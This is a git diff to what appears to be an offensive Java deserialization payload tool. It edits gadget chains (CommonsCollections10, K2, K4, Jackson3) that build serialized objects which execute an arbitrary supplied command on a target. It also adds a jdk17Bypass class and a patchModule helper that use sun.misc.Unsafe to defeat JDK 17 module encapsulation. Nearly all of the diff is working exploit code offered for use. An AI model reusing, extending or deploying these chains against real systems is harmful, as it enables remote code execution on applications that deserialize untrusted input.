diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java index 7f1ffbf..4d14db5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java @@ -12,7 +12,6 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; -import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; @@ -22,6 +21,7 @@ public class CommonsCollections10 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object templates; + templates = Gadgets.createTemplatesImpl(command); // 使用 InstantiateFactory 代替 InstantiateTransformer InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java index cf25667..28489d6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK2.java @@ -15,6 +15,7 @@ public class CommonsCollectionsK2 implements ReleaseableObjectPayload { public Object getObject(String command) throws Exception { final Object templates; + templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); HashMap innerMap = new HashMap(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java index f7a427c..ef5a3f3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK4.java @@ -19,13 +19,13 @@ public class CommonsCollectionsK4 implements ObjectPayload { public Object getObject(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; - final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); Map expMap = new HashMap(); - expMap.put(tme, "QI4L"); + expMap.put(tme, "QI5L"); outerMap.remove("QI4L"); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 4c9089d..fcab13a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -2,21 +2,16 @@ package com.qi4l.JYso.gadgets; import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.qi4l.JYso.gadgets.utils.Gadgets; import javassist.ClassClassPath; -import sun.misc.Unsafe; import org.springframework.aop.framework.AdvisedSupport; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; -import weblogic.apache.xpath.objects.XObject; -import javax.swing.event.EventListenerList; -import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; @@ -24,8 +19,6 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.*; -import java.util.ArrayList; -import java.util.Comparator; import java.util.Vector; import static com.qi4l.JYso.gadgets.Config.Config.POOL; @@ -65,50 +58,6 @@ public class Jackson3 implements ObjectPayload { return list; } - private static Method getMethod(Class clazz, String methodName, Class[] params) { - Method method = null; - while (clazz != null) { - try { - method = clazz.getDeclaredMethod(methodName, params); - break; - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - return method; - } - - private static Unsafe getUnsafe() { - Unsafe unsafe = null; - try { - Field field = Unsafe.class.getDeclaredField("theUnsafe"); - field.setAccessible(true); - unsafe = (Unsafe) field.get(null); - } catch (Exception e) { - throw new AssertionError(e); - } - return unsafe; - } - - public void bypassModule(ArrayList classes) { - try { - Unsafe unsafe = getUnsafe(); - Class currentClass = this.getClass(); - try { - Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); - if (getModuleMethod != null) { - for (Class aClass : classes) { - Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); - unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); - } - } - } catch (Exception e) { - } - } catch (Exception e) { - e.printStackTrace(); - } - } - public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = null; Class c = obj.getClass(); @@ -140,14 +89,15 @@ public class Jackson3 implements ObjectPayload { } - ArrayList classes = new ArrayList<>(); - classes.add(TemplatesImpl.class); - classes.add(POJONode.class); - classes.add(EventListenerList.class); - classes.add(Jackson3.class); - classes.add(Field.class); - classes.add(Method.class); - new Jackson3().bypassModule(classes); + //ArrayList classes = new ArrayList <>(); + //classes.add(TemplatesImpl.class); + //classes.add(POJONode.class); + //classes.add(EventListenerList.class); + //classes.add(Jackson3.class); + //classes.add(Field.class); + //classes.add(Method.class); + //new jdk17Bypass().bypassModule(classes); + POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index 093fec9..c67abef 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -1,16 +1,15 @@ package com.qi4l.JYso.gadgets.utils; +import com.qi4l.JYso.gadgets.CommonsCollectionsK2; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.CtClass; import javassist.CtConstructor; +import sun.misc.Unsafe; -import java.lang.reflect.Array; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; +import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable; @@ -75,6 +74,17 @@ public class Gadgets extends ClassLoader { return map; } + private static void patchModule(Class clazz, Class goalclass) { + try { + Class UnsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); + unsafe.getAndSetObject(clazz, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), ObjectModule); + } catch (Exception e) { + } + } public static Object createTemplatesImpl(String command) throws Exception { command = command.trim(); @@ -88,6 +98,7 @@ public class Gadgets extends ClassLoader { byte[] classBytes = new byte[0]; String newClassName = generateClassName(); + final Object templates = TPL_CLASS.newInstance(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); CtClass superClass = POOL.get(ABST_TRANSLET.getName()); @@ -163,10 +174,8 @@ public class Gadgets extends ClassLoader { } CtClass ctClass = null; - byte[] classBytes = new byte[0]; String newClassName = generateClassName(); - final Object templates = TPL_CLASS.newInstance(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); CtClass superClass = POOL.get(ABST_TRANSLET.getName()); @@ -231,10 +240,8 @@ public class Gadgets extends ClassLoader { } CtClass ctClass = null; - byte[] classBytes = new byte[0]; String newClassName = generateClassName(); - final Object templates = TPL_CLASS.newInstance(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); CtClass superClass = POOL.get(ABST_TRANSLET.getName()); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java new file mode 100644 index 0000000..f971f8e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -0,0 +1,53 @@ +package com.qi4l.JYso.gadgets.utils; + +import sun.misc.Unsafe; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; + +public class jdk17Bypass { + private static Method getMethod(Class clazz, String methodName, Class[] params) { + Method method = null; + while (clazz != null) { + try { + method = clazz.getDeclaredMethod(methodName, params); + break; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return method; + } + + private static Unsafe getUnsafe() { + Unsafe unsafe = null; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } + + public void bypassModule(ArrayList classes) { + try { + Unsafe unsafe = getUnsafe(); + Class currentClass = this.getClass(); + try { + Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); + if (getModuleMethod != null) { + for (Class aClass : classes) { + Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); + unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); + } + } + } catch (Exception e) { + } + } catch (Exception e) { + e.printStackTrace(); + } + } +}